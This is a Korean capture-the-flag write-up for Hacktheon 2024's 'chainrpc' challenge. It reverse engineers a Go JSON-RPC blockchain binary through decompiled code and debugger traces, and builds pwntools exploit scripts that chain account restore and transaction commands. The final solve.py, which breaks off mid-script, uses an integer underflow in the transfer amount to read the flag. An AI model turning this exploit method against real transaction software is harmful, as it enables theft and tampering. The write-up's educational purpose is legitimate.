콘텐츠로 건너뛰기

[핵테온 2024] chainrpc

checksec

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ checksec ./chainrpc
[*] '/home/ubuntu/hto2024/chainrpc/chainrpc'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

Analysis

실행하고, 그냥 엔터치니까 JSON 내용을 입력해줘야하는듯.

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc

Failed to parse input as JSON: unexpected end of JSON input
Failed to run command: unexpected end of JSON input

Failed to parse input as JSON: unexpected end of JSON input
Failed to run command: unexpected end of JSON input

{} 입력 결과 → args is nil 에러.

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{}
Failed to execute command: args is nil
Failed to run command: args is nil

chainrpc_pkg_command_ExecuteCommand 함수에서 검사함.

__int64 __golang chainrpc_pkg_command_ExecuteCommand(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        int a5,
        int a6,
        int a7,
        int a8,
        int a9)
{
...  
  if ( !a2 )
  {
    fmt_Errorf((unsigned int)"args is nil", 11, 0, 0, 0, a6, a7, a8, a9, v85, v93, v101);
    return 0;
  }
...

args 구문 추가해줬더니 에러 안뜸(단 아무 출력이 없음). 유효한 구문인듯싶음.

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"args": "DDDD", "A":"BBBB", "B": true, "C": 1337}

a2rbx 값을 확인해보면 ,”DDDD”로 넣어놨던 0x44444444가 들어가있음. 따라서 에러 안뜨는데 맞다.

>>> [START hook at chainrpc_pkg_command_getArgType (0x4EA0E0)]
    RIP = 0x4ea0e0
    args = {'rip': '0x4ea0e0', 'rax': '0x4f7140', 'rbx': '0xc000014100', 'rcx': '0xc0000140f0', 'rdi': '0x0', 'rsi': '0x18', 'r8': '0x4faf00', 'r9': '0xc0000140f0', 'r10': '0x18', 'r11': '0x98'}
(gdb) x/gx 0xc000014100
0xc000014100:	0x000000c000012158
(gdb) x/gx 0x000000c000012158
0xc000012158:	0x0000000044444444

golang에서 JSON을 파싱 하기 위해서는 struct 작성 필요.

“args” 스트링을 검색해봤더니 아래 텍스트가 눈에 띔.

.rodata:00000000004F08CD 00000010 C Args\vjson:\”args\”

해당 주소의 인접해있는 JSON 키값들을 봤을때, 다음 3가지 키를 받아옴.

  • type
  • args
  • from

type 키 값이 유효하지 않음.

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": "AAAAAAAA", "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to parse input as JSON: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType
Failed to run command: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType
^C


ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"args": "BBBBBBBB", "from": "CCCCCCCC"}
(NO OUTPUT)

type 키값 타입은 정수형이여야 함.

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": "AAAAAAAA", "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to parse input as JSON: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType
Failed to run command: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType
^C

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": true, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to parse input as JSON: json: cannot unmarshal bool into Go struct field CommandWithArgs.type of type command.CommandType
Failed to run command: json: cannot unmarshal bool into Go struct field CommandWithArgs.type of type command.CommandType
^C

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 1337, "args": "BBBBBBBB", "from": "CCCCCCCC"}
(NO OUTPUT)

type이 1337일때, chainrpc_pkg_command_ExecuteCommand 함수 호출시 rax 레지스터로 들어감

{"type": 1337, "args": "BBBBBBBB", "from": "CCCCCCCC"}
>>> [START hook at chainrpc_pkg_command_ExecuteCommand (0x4EA200)]
    RIP = 0x4ea200
    args = {'rip': '0x4ea200', 'rax': '0x539', 'rbx': '0xc0001860a0', 'rcx': '0xa', 'rdi': '0x10', 'rsi': '0x0', 'r8': '0x0', 'r9': '0x0', 'r10': '0xc000184028', 'r11': '0x0'}

type이 1일 경우.

{"type": 1, "args": "BBBBBBBB", "from": "CCCCCCCC"}

새 계정 생성.

// chainrpc/pkg/command.NewAccount
__int64 __golang chainrpc_pkg_command_NewAccount(
        __int64 a1,
        int a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        int a6,
        int a7,
        int a8,
        int a9)
{
  __int64 v9; // rax
  int v10; // eax
  int v11; // r8d
  int v12; // r9d
  int v13; // r10d
  int v14; // r11d

  v9 = chainrpc_pkg_account_NewAccount(a1, a2, a3, a4, a5, a6, a7, a8, a9);
  if ( v9 )
    v9 = *(_QWORD *)(v9 + 8);
  v10 = encoding_json_Marshal(v9, a2);
  if ( a4 )
    return (*(__int64 (__golang **)(__int64))(a4 + 24))(a5);
  else
    return runtime_slicebytetostring(0, v10, a2, 0, a5, v11, v12, v13, v14);
}
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 1, "args": "BBBBBBBB", "from": "CCCCCCCC"}
{"privateKey":"Rr8LOacVtLwQV1yyOgIS8qAWTNtdZMsXiXZEveluWwNvuWF+slvRyTgbpbWpJhdu5vwlTZhb6qi33IF6Cibbww==","publicKey":"b7lhfrJb0ck4G6W1qSYXbub8JU2YW+qot9yBegom28M=","balance":0}

type이 2일 경우.

not implemented 패닉 발생

// chainrpc/pkg/command.ExecuteCommand
__int64 __golang chainrpc_pkg_command_ExecuteCommand(
        __int64 type,
        __int64 (__golang *a2)(__int64, __int64),
        __int64 a3,
        __int64 a4,
        int a5,
        int a6,
        int a7,
        int a8,
        int a9)
{
...
    if ( _type == 2 )
      runtime_gopanic(
        (unsigned int)qword_4F7140,
        (unsigned int)&off_543F40,
        2,
        (unsigned int)"\b",
        v11,
        v22,
        v23,
        v24,
        v25);
...
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 2, "args": "BBBBBBBB", "from": "CCCCCCCC"}
panic: not implemented

goroutine 1 [running]:
chainrpc/pkg/command.ExecuteCommand({0xc000112000?, {0xc000012170?, 0x400?, 0x34?}})
	chainrpc/pkg/command/command.go:102 +0x4c5
chainrpc/pkg/command.Run({0xc000112000?, 0x20?})
	chainrpc/pkg/command/command.go:249 +0xa5
main.main()
	./main.go:26 +0x276

type이 3일 경우.

{"type": 3, "args": "BBBBBBBB", "from": "CCCCCCCC"}

{"type": 3, "args": "flag", "from": "CCCCCCCC"}

파일을 불러오는듯 싶으나, 내용을 출력해주진 않음.

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 3, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Loading blockchain from file
open BBBBBBBB: no such file or directory
^C

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 3, "args": "flag", "from": "CCCCCCCC"}
Loading blockchain from file
invalid character 'l' in literal false (expecting 'a')
// chainrpc/pkg/command.LoadChainFromFile
__int64 __golang chainrpc_pkg_command_LoadChainFromFile(
        int a1,
        __int64 a2,
        int a3,
        __int64 a4,
        __int64 a5,
        int a6,
        int a7,
        int a8,
        int a9)
{
  __int64 ChainFromFile; // rax
  __int64 v10; // rcx
  int v11; // ebx
  int v12; // eax
  int v13; // ecx
  int v14; // r8d
  int v15; // r9d
  int v16; // r10d
  int v17; // r11d
  _QWORD *v18; // rax
  int v19; // r8d
  int v20; // r9d
  int v21; // r10d
  __int64 *v22; // r11
  __int64 v23; // rdx
  int v25; // [rsp+8h] [rbp-18h]
  __int64 v26; // [rsp+10h] [rbp-10h]

  ChainFromFile = chainrpc_pkg_chain_LoadChainFromFile(a1, a2, a3, a4, a5, a6, a7, a8, a9);
  if ( a2 )
    return (*(__int64 (__golang **)(__int64))(a2 + 24))(v10);
  v26 = ChainFromFile;
  v11 = ChainFromFile;
  v12 = encoding_json_Marshal((int)"\b", ChainFromFile);
  if ( a4 )
    return (*(__int64 (__golang **)(__int64))(a4 + 24))(a5);
  v25 = v12;
  v18 = (_QWORD *)runtime_newobject(qword_504F20, v11, v13, 0, a5, v14, v15, v16, v17);
  *v18 = &off_545610;
  if ( dword_653FE0 )
  {
    v18 = (_QWORD *)runtime_gcWriteBarrier1(v18);
    v23 = v26;
    *v22 = v26;
  }
  else
  {
    v23 = v26;
  }
  v18[1] = v23;
  if ( dword_653FE0 )
  {
    v18 = (_QWORD *)runtime_gcWriteBarrier2(v18);
    *v22 = (__int64)v18;
    v22[1] = qword_5F34F8;
  }
  qword_5F34F8 = (__int64)v18;
  return runtime_slicebytetostring(0, v25, v11, 0, a5, v19, v20, v21, (_DWORD)v22);
}

type이 4일 경우.

{"type": 4, "args": "BBBBBBBB", "from": "CCCCCCCC"}

ArgType이 3이여야 함.

__int64 __golang chainrpc_pkg_command_ExecuteCommand(
...
ArgType = chainrpc_pkg_command_getArgType(*v109, v20, (__int64)v109, (__int64)"\b", v11, v16, v17, v18, v19);
...
if ( ArgType != 3 )
    {
LABEL_35:
      fmt_Errorf((unsigned int)"invalid arg type", 16, 0, 0, 0, v22, v23, v24, v25, v85, v88, v91);
      return 0;
    }
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 4, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to execute command: invalid arg type
Failed to run command: invalid arg type

chainrpc_pkg_command_getArgType은 리턴값은 다음과 같음.

  • number type → return 0;
  • string type → return 1;
  • boolean type → return 0;
  • {} object type → return 3;
  • [] array type → return 4;
  • null → return 5;

즉 type 키 값 타입은 {} object 여야함.

ArgType이 3 충족시, chainrpc_pkg_command_LoadChainFromJSON 호출.

if ( ArgType == 3 )
      {
        v37 = (int)v104;
        v38 = runtime_slicebytetostring(
                (unsigned int)&v100,
                (_DWORD)v104,
                v102,
                (unsigned int)"\b",
                v11,
                v22,
                v23,
                v24,
                v25);
        return chainrpc_pkg_command_LoadChainFromJSON(v38, v37, v39, (unsigned int)"\b", v11, v40, v41, v42, v43);
      }

함수 이름을 유추해봤을때, args 키값에 blockchain.json 내용을 넣으면?

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

import json

p = process("./chainrpc")

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))

with open('blockchain.json', 'r', encoding='utf-8') as f:
    blockchain_data = json.load(f)

with open('account.json', 'r', encoding='utf-8') as f:
    account_data = json.load(f)

payload = {
    "type": 4,
    "args": blockchain_data,
    "from": "CCCCCCCC"
}


#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)

p.interactive()

방금 보낸 blockchain 내용이 반환됨.

{"blocks":[{"index":0,"timestamp":"2024-03-08T04:57:24+09:00","transactions":[{"From":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","To":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","Amount":10000,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="},{"From":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","To":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","Amount":50,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}],"hash":"1a05060d","prevHash":""}],"transactionPool":[]}

type이 5일 경우.

ArgType = 3 충족 필요 → “args” 키값 타입이 {} object여야함.
충족시 chainrpc_pkg_command_LoadAccount 호출.

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 5, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to execute command: invalid arg type
Failed to run command: invalid arg type
if ( ArgType != 3 )
    {
LABEL_35:
      fmt_Errorf((unsigned int)"invalid arg type", 16, 0, 0, 0, v22, v23, v24, v25, v85, v88, v91);
      return 0;
    }
    result = chainrpc_pkg_command_LoadAccount(_type, (__int64)v104, v102, v103, v11, v22, v23, v24, v25);

함수 이름을 유추해봤을때, args 키값에 account.json 내용을 넣으면?

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

import json

p = process("./chainrpc")

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))

with open('blockchain.json', 'r', encoding='utf-8') as f:
    blockchain_data = json.load(f)

with open('account.json', 'r', encoding='utf-8') as f:
    account_data = json.load(f)

payload = {
    "type": 5,
    "args": account_data,
    "from": "CCCC"
}


#stage 2
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)

p.interactive()

blockchain not initialized 에러 발생.

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ python3 solve_test2.py
[+] Starting local process './chainrpc': pid 6433
[+] payload: {"type": 5, "args": {"privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50}, "from": "asdf"}
[*] Switching to interactive mode
Failed to get blockchain: blockchain not initialized
Failed to execute command: invalid account
Failed to run command: invalid account

그러면 type 3인 chainrpc_pkg_command_LoadChainFromJSON 호출을 먼저하고, 다시해보자.

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

import json

# p = remote("127.0.0.1", 1337)
p = process("./chainrpc")

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))

with open('blockchain.json', 'r', encoding='utf-8') as f:
    blockchain_data = json.load(f)

with open('account.json', 'r', encoding='utf-8') as f:
    account_data = json.load(f)

payload = {
    "type": 4,
    "args": blockchain_data,
    "from": "CCCC"
}


#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)


#stage 2
payload = json.loads(payload)
payload["type"] = 5
payload["args"].update(account_data)

payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)

p.interactive()

성공적으로 수행한듯 싶다. 아래 메시지가 나타난다.
Checking transaction
Valid account. Restore Complete

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ python3 solve_test2_1.py 
[+] Starting local process './chainrpc': pid 6455
[+] payload: {"type": 4, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": []}, "from": "CCCC"}
[+] payload: {"type": 5, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": [], "privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50}, "from": "CCCC"}
[*] Switching to interactive mode
{"blocks":[{"index":0,"timestamp":"2024-03-08T04:57:24+09:00","transactions":[{"From":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","To":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","Amount":10000,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="},{"From":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","To":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","Amount":50,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}],"hash":"1a05060d","prevHash":""}],"transactionPool":[]}
Checking transaction
Valid account. Restore Complete
{"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50}

type이 6일 경우.

ArgType = 3 충족 필요 → “args” 키값 타입이 {} object여야함.
충족시 chainrpc_pkg_command_SendTransaction 호출.

ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 6, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to execute command: invalid arg type
Failed to run command: invalid arg type
    if ( _type == 6 )
    {
      if ( ArgType != 3 )
        goto LABEL_35;
      v106 = (__int64 (__golang *)(__int64, __int64))runtime_newobject("(", v20, 6, (int)"\b", v11, v22, v23, v24, v25);
      if ( encoding_json_Unmarshal(v104, v102, v103, (__int64)"\b", v106, v45, v46, v47, v48) )
        return 0;
      else
        return chainrpc_pkg_command_SendTransaction(
                 *(_QWORD *)v106,
                 *((_QWORD *)v106 + 1),
                 *((_QWORD *)v106 + 2),
                 *((_QWORD *)v106 + 3),
                 *((_QWORD *)v106 + 4),
                 v49,
                 v50,
                 v51,
                 v52,
                 v85,
                 v88,
                 v91);

type3인 chainrpc_pkg_command_LoadChainFromJSON,
type4인 chainrpc_pkg_command_LoadAccount,
차례로 호출후에 transaction 함수 이름을 생각해봤을때, 관련 내용이 들어가야할 것 같아
blockchain.json 파일 내용에 있는 transactions 0번째 인덱스 구문을 넣어봤다.

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

import json

# p = remote("127.0.0.1", 1337)
p = process("./chainrpc")

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))

with open('blockchain.json', 'r', encoding='utf-8') as f:
    blockchain_data = json.load(f)

with open('account.json', 'r', encoding='utf-8') as f:
    account_data = json.load(f)

payload = {
    "type": 4,
    "args": blockchain_data,
    "from": "CCCC"
}


#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)


#stage 2
payload = json.loads(payload)
payload["type"] = 5
payload["args"].update(account_data)

payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)

#stage 3
payload = json.loads(payload)
payload["type"] = 6
payload["args"].update(blockchain_data["blocks"][0]["transactions"][0])

payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)


p.interactive()

그랬더니 account not found 에러 발생.

...
Valid account. Restore Complete
{"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50}
account not found

이번에는 blockchain.json 파일 내용에 있는 transactions 1번째 인덱스 구문을 넣어봤다.

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

import json

# p = remote("127.0.0.1", 1337)
p = process("./chainrpc")

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))

with open('blockchain.json', 'r', encoding='utf-8') as f:
    blockchain_data = json.load(f)

with open('account.json', 'r', encoding='utf-8') as f:
    account_data = json.load(f)

payload = {
    "type": 4,
    "args": blockchain_data,
    "from": "CCCC"
}


#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)


#stage 2
payload = json.loads(payload)
payload["type"] = 5
payload["args"].update(account_data)

payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)

#stage 3
payload = json.loads(payload)
payload["type"] = 6
payload["args"].update(blockchain_data["blocks"][0]["transactions"][1])

payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)


p.interactive()

성공적으로 수행한듯 싶다. 아래 메시지가 나타난다.

Sending transaction

...
Valid account. Restore Complete
{"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50}
Sending transaction

type이 7일 경우.

ArgType이 1, 즉 “args” 키 값 타입은 string이여야함.

아래 함수를 호출함.

  • encoding_base64__ptr_Encoding_DecodeString
  • chainrpc_pkg_shorthash__ptr_digest_Write
  • chainrpc_pkg_shorthash__ptr_digest_Sum
  • runtime_convTslice
  • fmt_Sprintf

%x 문자열을 보아하니 어떠한 16진수값을 출력하는듯.

if ( _type != 7 )
        return 0;
      if ( ArgType != 1 )
        goto LABEL_35;
      v53 = (__int64 (__golang *)(__int64, __int64))runtime_newobject(
                                                      qword_4F7140,
                                                      v20,
                                                      7,
                                                      (int)"\b",
                                                      v11,
                                                      v22,
                                                      v23,
                                                      v24,
                                                      v25);
      v107 = (unsigned __int64 *)v53;
      *(_QWORD *)v53 = 0;
      v54 = (__int64)v53;
      if ( encoding_json_Unmarshal(v104, v102, v103, (__int64)"\b", v53, v55, v56, v57, v58) )
      {
        return 0;
      }
      else
      {
        v63 = *v107;
        v64 = encoding_base64__ptr_Encoding_DecodeString(
                qword_5F3500,
                *v107,
                v107[1],
                (unsigned int)"\b",
                v54,
                v59,
                v60,
                v61,
                v62);
        if ( "\b" )
        {
          return 0;
        }
        else
        {
          v95 = 0;
          v96 = 0;
          v97 = 0;
          v98 = 0;
          v99 = 0;
          chainrpc_pkg_shorthash__ptr_digest_Write((__int64)&v95, v64, v63, v65, v54, v66, v67, v68, v69);
          v74 = chainrpc_pkg_shorthash__ptr_digest_Sum(
                  (unsigned int)&v95,
                  0,
                  0,
                  0,
                  v54,
                  v70,
                  v71,
                  v72,
                  v73,
                  v85,
                  v88,
                  v91);
          v105 = v9;
          v80 = runtime_convTslice(v74, 0, v75, 0, v54, v76, v77, v78, v79, v86, v89, v92);
          *(_QWORD *)&v105 = &unk_4F61C0;
          *((_QWORD *)&v105 + 1) = v80;
          return fmt_Sprintf((unsigned int)"%x", 2, (unsigned int)&v105, 1, 1, v81, v82, v83, v84, v87, v90, v93, v94);
        }
      }
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 7, "args": "BBBBBBBB", "from": "CCCCCCCC"}
1f131f15

type이 1~7 그 외인 경우.

NO OUTPUT. 아무것도 출력되지 않음.

Flag 어딨나?

문자열 검색해보니 chainrpc_pkg_account._ptr_account.SendTransaction 함수에서 참조.

.text:00000000004E8A3D	chainrpc_pkg_account._ptr_account.SendTransaction	48 8D 05 95 CB 02 00                                            lea     rax, aFlag      ; "flag”

math_big__ptr_Int_Cmp에서 비교함, 보내는 양이 99999999인지 확인.

_UNKNOWN **__golang chainrpc_pkg_account__ptr_account_SendTransaction(
...
    else
    {
      v63 = *(void (__golang **)(__int64, __int64, __int64, _QWORD *))(v58 + 40);
      v63(v59, v52, v51, v61);
      v110 = 99999999;
      v114 = 0;
      v116 = 1;
      v117 = 1;
      v115 = &v110;
      if ( math_big__ptr_Int_Cmp(a1[6], (unsigned int)&v114, v64, (_DWORD)v61, (_DWORD)v63, v65, v66, v67, v68) <= 0 )
        return 0;
      File = os_ReadFile((unsigned int)"flag", 4, v69, (_DWORD)v61, (_DWORD)v63, v70, v71, v72, v73, v99, v105);
      if ( !v61 )
      {
        v129 = v9;
        v79 = File;
        v80 = runtime_slicebytetostring(0, File, 4, 0, (_DWORD)v63, v75, v76, v77, v78);
        v86 = runtime_convTstring(v80, v79, v81, 0, (_DWORD)v63, v82, v83, v84, v85, v100, v106);
        *(_QWORD *)&v129 = qword_4F7140;
        *((_QWORD *)&v129 + 1) = v86;
        fmt_Fprintln((unsigned int)&off_544A80, qword_5F34E8, (unsigned int)&v129, 1, 1, v87, v88, v89, v90);
        return 0;
      }
      return (_UNKNOWN **)v61;
    }

int 언더플로우를 통해
보내는 양 Amount를 int 최소값 - 요구값 99999999 으로 수정하면 flag 내용을 얻을 수 있었다.

solve.py

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

import json

# p = remote("127.0.0.1", 1337)
p = process("./chainrpc")

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))

with open('blockchain.json', 'r', encoding='utf-8') as f:
    blockchain_data = json.load(f)

with open('account.json', 'r', encoding='utf-8') as f:
    account_data = json.load(f)

payload = {
    "type": 4,
    "args": blockchain_data,
    "from": "CCCC"
}


#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)


#stage 2
payload = json.loads(payload)
payload["type"] = 5
payload["args"].update(account_data)

payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)

#stage 3
payload = json.loads(payload)
payload["type"] = 6
payload["args"].update(blockchain_data["blocks"][0]["transactions"][1])

amount = payload["args"]["Amount"]
